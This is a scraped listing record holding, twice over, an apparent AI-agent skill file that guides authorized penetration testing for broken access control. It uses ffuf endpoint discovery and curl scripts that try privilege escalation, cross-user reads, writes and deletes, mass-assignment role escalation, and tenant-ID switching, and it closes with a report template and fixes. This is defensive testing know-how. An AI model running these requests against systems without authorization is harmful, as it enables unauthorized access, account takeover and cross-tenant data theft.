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Use during authorized penetration tests or RBAC\u002Fmulti-tenant authorization audits.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Ftesting-for-broken-access-control\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: testing-for-broken-access-control\ndescription: Systematically tests web applications and APIs for broken access control\n  (OWASP A01:2021), including privilege escalation, missing function-level checks, insecure\n  direct object references, and multi-tenant data leakage, using Burp Suite with the\n  Authorize extension. Use during authorized penetration tests or RBAC\u002Fmulti-tenant\n  authorization audits.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- access-control\n- authorization\n- owasp\n- privilege-escalation\n- web-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1068\n---\n\n# Testing for Broken Access Control\n\n## When to Use\n\n- During authorized penetration tests as the primary assessment for OWASP A01:2021 - Broken Access Control\n- When evaluating role-based access control (RBAC) implementations across all application endpoints\n- For testing multi-tenant applications where users in one organization should not access another's data\n- When assessing API endpoints for missing or inconsistent authorization checks\n- During security audits where privilege escalation and unauthorized access are primary concerns\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: With Authorize extension for automated access control testing\n- **Multiple test accounts**: Accounts at each role level (admin, manager, user, guest)\n- **Application role matrix**: Documentation of what each role should and should not access\n- **curl\u002Fhttpie**: For manual endpoint testing with different authentication contexts\n- **ffuf**: For discovering hidden endpoints that may lack access controls\n\n## Workflow\n\n### Step 1: Map All Endpoints and Create Access Control Matrix\n\nDocument every endpoint and the expected access level for each role.\n\n```bash\n# Extract all endpoints from Burp Site Map\n# Target > Site Map > Right-click > Copy URLs in this host\n\n# Build a matrix of endpoints vs roles:\n# | Endpoint              | Admin | Manager | User | Guest |\n# |-----------------------|-------|---------|------|-------|\n# | GET \u002Fadmin\u002Fdashboard  | Allow | Deny    | Deny | Deny  |\n# | GET \u002Fapi\u002Fusers        | Allow | Allow   | Deny | Deny  |\n# | PUT \u002Fapi\u002Fusers\u002F{id}   | Allow | Deny    | Own  | Deny  |\n# | DELETE \u002Fapi\u002Fposts\u002F{id} | Allow | Allow   | Own  | Deny  |\n\n# Discover hidden endpoints\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002FFUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fraft-medium-directories.txt \\\n  -mc 200,301,302,403 -fc 404 \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -o endpoints.json -of json\n\n# API endpoint discovery\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002FFUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fapi\u002Fapi-endpoints.txt \\\n  -mc 200,201,204,301,302,401,403,405 -fc 404 \\\n  -H \"Authorization: Bearer $USER_TOKEN\"\n```\n\n### Step 2: Configure Automated Access Control Testing\n\nSet up Burp Authorize extension for parallel role-based testing.\n\n```\n# Install Authorize extension:\n# Burp > Extender > BApp Store > Search \"Authorize\" > Install\n\n# Configuration for three-tier testing:\n# 1. Browse the application as Admin (capture all requests)\n# 2. In Authorize tab:\n#    a. Add Regular User's session token in \"Replace cookies\u002Fheaders\"\n#    b. Optionally add a second row for Unauthenticated (no auth header)\n\n# Example header replacement setup:\n# Row 1 (Low-privilege user):\n#   Cookie: session=low_priv_user_session\n#   Authorization: Bearer low_priv_token\n#\n# Row 2 (Unauthenticated):\n#   [Empty - removes all auth headers]\n\n# Enable interception in Authorize:\n# - Check \"Intercept requests from Proxy\"\n# - Check \"Intercept requests from Repeater\"\n\n# Authorize shows results as:\n# Green  = Properly restricted (different response for different user)\n# Red    = POTENTIALLY VULNERABLE (same response regardless of role)\n# Orange = Uncertain (needs manual verification)\n```\n\n### Step 3: Test Vertical Privilege Escalation\n\nAttempt to access higher-privilege functionality with lower-privilege accounts.\n\n```bash\n# Collect tokens for each role\nADMIN_TOKEN=\"Bearer admin_jwt_here\"\nMANAGER_TOKEN=\"Bearer manager_jwt_here\"\nUSER_TOKEN=\"Bearer user_jwt_here\"\n\n# Test admin endpoints with user token\nADMIN_ENDPOINTS=(\n  \"GET \u002Fadmin\u002Fdashboard\"\n  \"GET \u002Fadmin\u002Fusers\"\n  \"POST \u002Fadmin\u002Fusers\u002Fcreate\"\n  \"PUT \u002Fadmin\u002Fsettings\"\n  \"DELETE \u002Fadmin\u002Fusers\u002F5\"\n  \"GET \u002Fadmin\u002Flogs\"\n  \"GET \u002Fadmin\u002Freports\u002Fexport\"\n  \"POST \u002Fadmin\u002Fbackup\"\n)\n\nfor entry in \"${ADMIN_ENDPOINTS[@]}\"; do\n  method=$(echo \"$entry\" | cut -d' ' -f1)\n  endpoint=$(echo \"$entry\" | cut -d' ' -f2)\n  echo -n \"$method $endpoint (as user): \"\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X \"$method\" \\\n    -H \"Authorization: $USER_TOKEN\" \\\n    -H \"Content-Type: application\u002Fjson\" \\\n    \"https:\u002F\u002Ftarget.example.com$endpoint\")\n  if [ \"$status\" == \"200\" ] || [ \"$status\" == \"201\" ]; then\n    echo \"VULNERABLE ($status)\"\n  else\n    echo \"OK ($status)\"\n  fi\ndone\n\n# Test with method override headers\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  -X POST \\\n  -H \"Authorization: $USER_TOKEN\" \\\n  -H \"X-HTTP-Method-Override: DELETE\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fusers\u002F5\"\n\n# Test with different HTTP methods\nfor method in GET POST PUT PATCH DELETE OPTIONS HEAD; do\n  echo -n \"$method \u002Fadmin\u002Fusers: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X \"$method\" \\\n    -H \"Authorization: $USER_TOKEN\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fusers\"\n  echo\ndone\n```\n\n### Step 4: Test Horizontal Privilege Escalation\n\nVerify that users cannot access resources belonging to other users at the same privilege level.\n\n```bash\n# User A (ID: 101) testing access to User B's (ID: 102) resources\nUSER_A_TOKEN=\"Bearer user_a_jwt\"\n\nRESOURCES=(\n  \"\u002Fapi\u002Fusers\u002F102\u002Fprofile\"\n  \"\u002Fapi\u002Fusers\u002F102\u002Forders\"\n  \"\u002Fapi\u002Fusers\u002F102\u002Fmessages\"\n  \"\u002Fapi\u002Fusers\u002F102\u002Fdocuments\"\n  \"\u002Fapi\u002Fusers\u002F102\u002Fsettings\"\n  \"\u002Fapi\u002Fusers\u002F102\u002Fpayment-methods\"\n)\n\nfor resource in \"${RESOURCES[@]}\"; do\n  echo -n \"GET $resource: \"\n  response=$(curl -s -w \"\\n%{http_code}\" \\\n    -H \"Authorization: $USER_A_TOKEN\" \\\n    \"https:\u002F\u002Ftarget.example.com$resource\")\n  status=$(echo \"$response\" | tail -1)\n  body_len=$(echo \"$response\" | head -n -1 | wc -c)\n  if [ \"$status\" == \"200\" ] && [ \"$body_len\" -gt 50 ]; then\n    echo \"VULNERABLE ($status, $body_len bytes)\"\n  else\n    echo \"OK ($status)\"\n  fi\ndone\n\n# Test write operations across users\ncurl -s -X PUT \\\n  -H \"Authorization: $USER_A_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\":\"Hacked\",\"email\":\"hacked@evil.com\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fusers\u002F102\u002Fprofile\" -w \"%{http_code}\"\n\n# Test delete operations\ncurl -s -X DELETE \\\n  -H \"Authorization: $USER_A_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fusers\u002F102\u002Fdocuments\u002F1\" -w \"%{http_code}\"\n```\n\n### Step 5: Test Function-Level Access Control\n\nVerify that specific functions enforce authorization properly.\n\n```bash\n# Test unauthenticated access to protected endpoints\nPROTECTED_ENDPOINTS=(\n  \"\u002Fapi\u002Fuser\u002Fprofile\"\n  \"\u002Fapi\u002Ftransactions\"\n  \"\u002Fapi\u002Fsettings\"\n  \"\u002Fadmin\u002Fdashboard\"\n  \"\u002Fapi\u002Fexport\u002Fusers\"\n)\n\nfor endpoint in \"${PROTECTED_ENDPOINTS[@]}\"; do\n  echo -n \"No auth: GET $endpoint: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    \"https:\u002F\u002Ftarget.example.com$endpoint\"\n  echo\ndone\n\n# Test with expired\u002Finvalid tokens\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  -H \"Authorization: Bearer invalid_token_here\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Test role manipulation in JWT claims\n# If JWT contains role claim, try modifying it\n# (requires JWT vulnerability - see JWT testing skill)\n\n# Test parameter-based role escalation\ncurl -s -X PUT \\\n  -H \"Authorization: $USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"role\":\"admin\",\"is_admin\":true,\"permissions\":[\"admin\",\"superuser\"]}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fusers\u002F101\u002Fprofile\"\n\n# Test registration with elevated role\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"new@test.com\",\"password\":\"Test123!\",\"role\":\"admin\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fauth\u002Fregister\"\n```\n\n### Step 6: Test Multi-Tenant Isolation\n\nVerify that tenant boundaries are enforced in multi-tenant applications.\n\n```bash\n# User in Tenant A testing access to Tenant B's resources\nTENANT_A_TOKEN=\"Bearer tenant_a_user_jwt\"\n\n# Direct tenant resource access\ncurl -s -H \"Authorization: $TENANT_A_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Forganizations\u002Ftenant-b-id\u002Fusers\" | jq .\n\ncurl -s -H \"Authorization: $TENANT_A_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Forganizations\u002Ftenant-b-id\u002Fsettings\" | jq .\n\n# Test tenant switching via header\ncurl -s -H \"Authorization: $TENANT_A_TOKEN\" \\\n  -H \"X-Tenant-ID: tenant-b-id\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fusers\" | jq .\n\n# Test tenant ID in request body\ncurl -s -X POST \\\n  -H \"Authorization: $TENANT_A_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"tenant_id\":\"tenant-b-id\",\"query\":\"SELECT * FROM users\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Freports\u002Fcustom\"\n\n# Enumerate tenant IDs\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Forganizations\u002FFUZZ\" \\\n  -w \u003C(seq 1 100) \\\n  -H \"Authorization: $TENANT_A_TOKEN\" \\\n  -mc 200 -t 10 -rate 20\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Vertical Privilege Escalation** | Lower-privilege user accessing higher-privilege functionality (user -> admin) |\n| **Horizontal Privilege Escalation** | User accessing another user's resources at the same privilege level |\n| **Function-Level Access Control** | Authorization checks on specific features\u002Ffunctions regardless of URL |\n| **RBAC** | Role-Based Access Control - permissions assigned to roles, roles assigned to users |\n| **ABAC** | Attribute-Based Access Control - permissions based on user\u002Fresource\u002Fenvironment attributes |\n| **Multi-Tenant Isolation** | Ensuring data and functionality separation between different organizations\u002Ftenants |\n| **Insecure Direct Object Reference** | Accessing objects by manipulating identifiers without authorization checks |\n| **Missing Function-Level Check** | Endpoint exists but does not verify the caller has permission to invoke it |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and role-based testing |\n| **Authorize (Burp Extension)** | Automated access control testing across sessions |\n| **AutoRepeater (Burp Extension)** | Automatically replays requests with different auth contexts |\n| **Postman** | API testing with environment switching between roles |\n| **ffuf** | Discovering hidden endpoints that may lack access controls |\n| **OWASP ZAP** | Access control testing with context-aware scanning |\n\n## Common Scenarios\n\n### Scenario 1: Admin Panel Without Auth Check\nThe `\u002Fadmin\u002Fdashboard` endpoint returns the admin panel when accessed with a regular user's session token. The front-end hides the admin menu, but the back-end does not enforce role checks.\n\n### Scenario 2: API Endpoint Missing Authorization\nThe `DELETE \u002Fapi\u002Fusers\u002F{id}` endpoint checks for authentication (valid token) but not authorization (admin role). Any authenticated user can delete any other user's account.\n\n### Scenario 3: Tenant Data Leakage\nA SaaS application uses `tenant_id` in API request headers. Changing the `X-Tenant-ID` header to another tenant's ID returns their data, bypassing tenant isolation.\n\n### Scenario 4: Mass Assignment Role Escalation\nThe user profile update endpoint at `PUT \u002Fapi\u002Fusers\u002F{id}` accepts a `role` field in the JSON body. Submitting `\"role\":\"admin\"` alongside a profile update elevates the user to administrator.\n\n## Output Format\n\n```\n## Broken Access Control Assessment Report\n\n**Target**: target.example.com\n**Assessment Date**: 2024-01-15\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Access Control Matrix Results\n| Endpoint | Admin | Manager | User | Guest | Expected | Actual |\n|----------|-------|---------|------|-------|----------|--------|\n| GET \u002Fadmin\u002Fdashboard | 200 | 200 | 200 | 302 | Admin only | FAIL |\n| DELETE \u002Fapi\u002Fusers\u002F{id} | 200 | 200 | 200 | 401 | Admin only | FAIL |\n| GET \u002Fapi\u002Fusers\u002Fother\u002Fprofile | 200 | 200 | 200 | 401 | Own only | FAIL |\n| PUT \u002Fapi\u002Fusers\u002Fother\u002Fsettings | 200 | 200 | 200 | 401 | Own only | FAIL |\n| GET \u002Fapi\u002Forg\u002Fother-tenant | 200 | 200 | 200 | 401 | Same tenant | FAIL |\n\n### Critical Findings\n1. **Vertical Escalation**: Regular users can access \u002Fadmin\u002F* endpoints\n2. **Horizontal IDOR**: Users can read\u002Fmodify other users' profiles\n3. **Tenant Isolation**: Cross-tenant data access via header manipulation\n4. **Mass Assignment**: Role escalation via profile update endpoint\n\n### Impact\n- Complete administrative access for any authenticated user\n- Full user data access across all accounts (15,000+ users)\n- Cross-tenant data breach affecting 200+ organizations\n- Account takeover via profile modification\n\n### Recommendation\n1. Implement server-side authorization checks on every endpoint\n2. Use a centralized authorization middleware\u002Fframework\n3. Enforce object-level authorization (verify ownership before access)\n4. Validate tenant context server-side, never from client headers\n5. Use allowlists for mass assignment (only permit expected fields)\n6. Implement audit logging for all access control decisions\n```\n","# Testing for Broken Access Control\n\n## When to Use\n\n- During authorized penetration tests as the primary assessment for OWASP A01:2021 - Broken Access Control\n- When evaluating role-based access control (RBAC) implementations across all application endpoints\n- For testing multi-tenant applications where users in one organization should not access another's data\n- When assessing API endpoints for missing or inconsistent authorization checks\n- During security audits where privilege escalation and unauthorized access are primary concerns\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: With Authorize extension for automated access control testing\n- **Multiple test accounts**: Accounts at each role level (admin, manager, user, guest)\n- **Application role matrix**: Documentation of what each role should and should not access\n- **curl\u002Fhttpie**: For manual endpoint testing with different authentication contexts\n- **ffuf**: For discovering hidden endpoints that may lack access controls\n\n## Workflow\n\n### Step 1: Map All Endpoints and Create Access Control Matrix\n\nDocument every endpoint and the expected access level for each role.\n\n```bash\n# Extract all endpoints from Burp Site Map\n# Target > Site Map > Right-click > Copy URLs in this host\n\n# Build a matrix of endpoints vs roles:\n# | Endpoint              | Admin | Manager | User | Guest |\n# |-----------------------|-------|---------|------|-------|\n# | GET \u002Fadmin\u002Fdashboard  | Allow | Deny    | Deny | Deny  |\n# | GET \u002Fapi\u002Fusers        | Allow | Allow   | Deny | Deny  |\n# | PUT \u002Fapi\u002Fusers\u002F{id}   | Allow | Deny    | Own  | Deny  |\n# | DELETE \u002Fapi\u002Fposts\u002F{id} | Allow | Allow   | Own  | Deny  |\n\n# Discover hidden endpoints\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002FFUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fraft-medium-directories.txt \\\n  -mc 200,301,302,403 -fc 404 \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -o endpoints.json -of json\n\n# API endpoint discovery\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002FFUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fapi\u002Fapi-endpoints.txt \\\n  -mc 200,201,204,301,302,401,403,405 -fc 404 \\\n  -H \"Authorization: Bearer $USER_TOKEN\"\n```\n\n### Step 2: Configure Automated Access Control Testing\n\nSet up Burp Authorize extension for parallel role-based testing.\n\n```\n# Install Authorize extension:\n# Burp > Extender > BApp Store > Search \"Authorize\" > Install\n\n# Configuration for three-tier testing:\n# 1. Browse the application as Admin (capture all requests)\n# 2. In Authorize tab:\n#    a. Add Regular User's session token in \"Replace cookies\u002Fheaders\"\n#    b. Optionally add a second row for Unauthenticated (no auth header)\n\n# Example header replacement setup:\n# Row 1 (Low-privilege user):\n#   Cookie: session=low_priv_user_session\n#   Authorization: Bearer low_priv_token\n#\n# Row 2 (Unauthenticated):\n#   [Empty - removes all auth headers]\n\n# Enable interception in Authorize:\n# - Check \"Intercept requests from Proxy\"\n# - Check \"Intercept requests from Repeater\"\n\n# Authorize shows results as:\n# Green  = Properly restricted (different response for different user)\n# Red    = POTENTIALLY VULNERABLE (same response regardless of role)\n# Orange = Uncertain (needs manual verification)\n```\n\n### Step 3: Test Vertical Privilege Escalation\n\nAttempt to access higher-privilege functionality with lower-privilege accounts.\n\n```bash\n# Collect tokens for each role\nADMIN_TOKEN=\"Bearer admin_jwt_here\"\nMANAGER_TOKEN=\"Bearer manager_jwt_here\"\nUSER_TOKEN=\"Bearer user_jwt_here\"\n\n# Test admin endpoints with user token\nADMIN_ENDPOINTS=(\n  \"GET \u002Fadmin\u002Fdashboard\"\n  \"GET \u002Fadmin\u002Fusers\"\n  \"POST \u002Fadmin\u002Fusers\u002Fcreate\"\n  \"PUT \u002Fadmin\u002Fsettings\"\n  \"DELETE \u002Fadmin\u002Fusers\u002F5\"\n  \"GET \u002Fadmin\u002Flogs\"\n  \"GET \u002Fadmin\u002Freports\u002Fexport\"\n  \"POST \u002Fadmin\u002Fbackup\"\n)\n\nfor entry in \"${ADMIN_ENDPOINTS[@]}\"; do\n  method=$(echo \"$entry\" | cut -d' ' -f1)\n  endpoint=$(echo \"$entry\" | cut -d' ' -f2)\n  echo -n \"$method $endpoint (as user): \"\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X \"$method\" \\\n    -H \"Authorization: $USER_TOKEN\" \\\n    -H \"Content-Type: application\u002Fjson\" \\\n    \"https:\u002F\u002Ftarget.example.com$endpoint\")\n  if [ \"$status\" == \"200\" ] || [ \"$status\" == \"201\" ]; then\n    echo \"VULNERABLE ($status)\"\n  else\n    echo \"OK ($status)\"\n  fi\ndone\n\n# Test with method override headers\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  -X POST \\\n  -H \"Authorization: $USER_TOKEN\" \\\n  -H \"X-HTTP-Method-Override: DELETE\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fusers\u002F5\"\n\n# Test with different HTTP methods\nfor method in GET POST PUT PATCH DELETE OPTIONS HEAD; do\n  echo -n \"$method \u002Fadmin\u002Fusers: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X \"$method\" \\\n    -H \"Authorization: $USER_TOKEN\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fadmin\u002Fusers\"\n  echo\ndone\n```\n\n### Step 4: Test Horizontal Privilege Escalation\n\nVerify that users cannot access resources belonging to other users at the same privilege level.\n\n```bash\n# User A (ID: 101) testing access to User B's (ID: 102) resources\nUSER_A_TOKEN=\"Bearer user_a_jwt\"\n\nRESOURCES=(\n  \"\u002Fapi\u002Fusers\u002F102\u002Fprofile\"\n  \"\u002Fapi\u002Fusers\u002F102\u002Forders\"\n  \"\u002Fapi\u002Fusers\u002F102\u002Fmessages\"\n  \"\u002Fapi\u002Fusers\u002F102\u002Fdocuments\"\n  \"\u002Fapi\u002Fusers\u002F102\u002Fsettings\"\n  \"\u002Fapi\u002Fusers\u002F102\u002Fpayment-methods\"\n)\n\nfor resource in \"${RESOURCES[@]}\"; do\n  echo -n \"GET $resource: \"\n  response=$(curl -s -w \"\\n%{http_code}\" \\\n    -H \"Authorization: $USER_A_TOKEN\" \\\n    \"https:\u002F\u002Ftarget.example.com$resource\")\n  status=$(echo \"$response\" | tail -1)\n  body_len=$(echo \"$response\" | head -n -1 | wc -c)\n  if [ \"$status\" == \"200\" ] && [ \"$body_len\" -gt 50 ]; then\n    echo \"VULNERABLE ($status, $body_len bytes)\"\n  else\n    echo \"OK ($status)\"\n  fi\ndone\n\n# Test write operations across users\ncurl -s -X PUT \\\n  -H \"Authorization: $USER_A_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\":\"Hacked\",\"email\":\"hacked@evil.com\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fusers\u002F102\u002Fprofile\" -w \"%{http_code}\"\n\n# Test delete operations\ncurl -s -X DELETE \\\n  -H \"Authorization: $USER_A_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fusers\u002F102\u002Fdocuments\u002F1\" -w \"%{http_code}\"\n```\n\n### Step 5: Test Function-Level Access Control\n\nVerify that specific functions enforce authorization properly.\n\n```bash\n# Test unauthenticated access to protected endpoints\nPROTECTED_ENDPOINTS=(\n  \"\u002Fapi\u002Fuser\u002Fprofile\"\n  \"\u002Fapi\u002Ftransactions\"\n  \"\u002Fapi\u002Fsettings\"\n  \"\u002Fadmin\u002Fdashboard\"\n  \"\u002Fapi\u002Fexport\u002Fusers\"\n)\n\nfor endpoint in \"${PROTECTED_ENDPOINTS[@]}\"; do\n  echo -n \"No auth: GET $endpoint: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    \"https:\u002F\u002Ftarget.example.com$endpoint\"\n  echo\ndone\n\n# Test with expired\u002Finvalid tokens\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  -H \"Authorization: Bearer invalid_token_here\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Test role manipulation in JWT claims\n# If JWT contains role claim, try modifying it\n# (requires JWT vulnerability - see JWT testing skill)\n\n# Test parameter-based role escalation\ncurl -s -X PUT \\\n  -H \"Authorization: $USER_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"role\":\"admin\",\"is_admin\":true,\"permissions\":[\"admin\",\"superuser\"]}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fusers\u002F101\u002Fprofile\"\n\n# Test registration with elevated role\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"new@test.com\",\"password\":\"Test123!\",\"role\":\"admin\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fauth\u002Fregister\"\n```\n\n### Step 6: Test Multi-Tenant Isolation\n\nVerify that tenant boundaries are enforced in multi-tenant applications.\n\n```bash\n# User in Tenant A testing access to Tenant B's resources\nTENANT_A_TOKEN=\"Bearer tenant_a_user_jwt\"\n\n# Direct tenant resource access\ncurl -s -H \"Authorization: $TENANT_A_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Forganizations\u002Ftenant-b-id\u002Fusers\" | jq .\n\ncurl -s -H \"Authorization: $TENANT_A_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Forganizations\u002Ftenant-b-id\u002Fsettings\" | jq .\n\n# Test tenant switching via header\ncurl -s -H \"Authorization: $TENANT_A_TOKEN\" \\\n  -H \"X-Tenant-ID: tenant-b-id\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fusers\" | jq .\n\n# Test tenant ID in request body\ncurl -s -X POST \\\n  -H \"Authorization: $TENANT_A_TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"tenant_id\":\"tenant-b-id\",\"query\":\"SELECT * FROM users\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Freports\u002Fcustom\"\n\n# Enumerate tenant IDs\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Forganizations\u002FFUZZ\" \\\n  -w \u003C(seq 1 100) \\\n  -H \"Authorization: $TENANT_A_TOKEN\" \\\n  -mc 200 -t 10 -rate 20\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Vertical Privilege Escalation** | Lower-privilege user accessing higher-privilege functionality (user -> admin) |\n| **Horizontal Privilege Escalation** | User accessing another user's resources at the same privilege level |\n| **Function-Level Access Control** | Authorization checks on specific features\u002Ffunctions regardless of URL |\n| **RBAC** | Role-Based Access Control - permissions assigned to roles, roles assigned to users |\n| **ABAC** | Attribute-Based Access Control - permissions based on user\u002Fresource\u002Fenvironment attributes |\n| **Multi-Tenant Isolation** | Ensuring data and functionality separation between different organizations\u002Ftenants |\n| **Insecure Direct Object Reference** | Accessing objects by manipulating identifiers without authorization checks |\n| **Missing Function-Level Check** | Endpoint exists but does not verify the caller has permission to invoke it |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and role-based testing |\n| **Authorize (Burp Extension)** | Automated access control testing across sessions |\n| **AutoRepeater (Burp Extension)** | Automatically replays requests with different auth contexts |\n| **Postman** | API testing with environment switching between roles |\n| **ffuf** | Discovering hidden endpoints that may lack access controls |\n| **OWASP ZAP** | Access control testing with context-aware scanning |\n\n## Common Scenarios\n\n### Scenario 1: Admin Panel Without Auth Check\nThe `\u002Fadmin\u002Fdashboard` endpoint returns the admin panel when accessed with a regular user's session token. The front-end hides the admin menu, but the back-end does not enforce role checks.\n\n### Scenario 2: API Endpoint Missing Authorization\nThe `DELETE \u002Fapi\u002Fusers\u002F{id}` endpoint checks for authentication (valid token) but not authorization (admin role). Any authenticated user can delete any other user's account.\n\n### Scenario 3: Tenant Data Leakage\nA SaaS application uses `tenant_id` in API request headers. Changing the `X-Tenant-ID` header to another tenant's ID returns their data, bypassing tenant isolation.\n\n### Scenario 4: Mass Assignment Role Escalation\nThe user profile update endpoint at `PUT \u002Fapi\u002Fusers\u002F{id}` accepts a `role` field in the JSON body. Submitting `\"role\":\"admin\"` alongside a profile update elevates the user to administrator.\n\n## Output Format\n\n```\n## Broken Access Control Assessment Report\n\n**Target**: target.example.com\n**Assessment Date**: 2024-01-15\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Access Control Matrix Results\n| Endpoint | Admin | Manager | User | Guest | Expected | Actual |\n|----------|-------|---------|------|-------|----------|--------|\n| GET \u002Fadmin\u002Fdashboard | 200 | 200 | 200 | 302 | Admin only | FAIL |\n| DELETE \u002Fapi\u002Fusers\u002F{id} | 200 | 200 | 200 | 401 | Admin only | FAIL |\n| GET \u002Fapi\u002Fusers\u002Fother\u002Fprofile | 200 | 200 | 200 | 401 | Own only | FAIL |\n| PUT \u002Fapi\u002Fusers\u002Fother\u002Fsettings | 200 | 200 | 200 | 401 | Own only | FAIL |\n| GET \u002Fapi\u002Forg\u002Fother-tenant | 200 | 200 | 200 | 401 | Same tenant | FAIL |\n\n### Critical Findings\n1. **Vertical Escalation**: Regular users can access \u002Fadmin\u002F* endpoints\n2. **Horizontal IDOR**: Users can read\u002Fmodify other users' profiles\n3. **Tenant Isolation**: Cross-tenant data access via header manipulation\n4. **Mass Assignment**: Role escalation via profile update endpoint\n\n### Impact\n- Complete administrative access for any authenticated user\n- Full user data access across all accounts (15,000+ users)\n- Cross-tenant data breach affecting 200+ organizations\n- Account takeover via profile modification\n\n### Recommendation\n1. Implement server-side authorization checks on every endpoint\n2. Use a centralized authorization middleware\u002Fframework\n3. Enforce object-level authorization (verify ownership before access)\n4. Validate tenant context server-side, never from client headers\n5. Use allowlists for mass assignment (only permit expected fields)\n6. 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Use when you want to create a new clipping template, understand available variables, or format clipped content.","MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 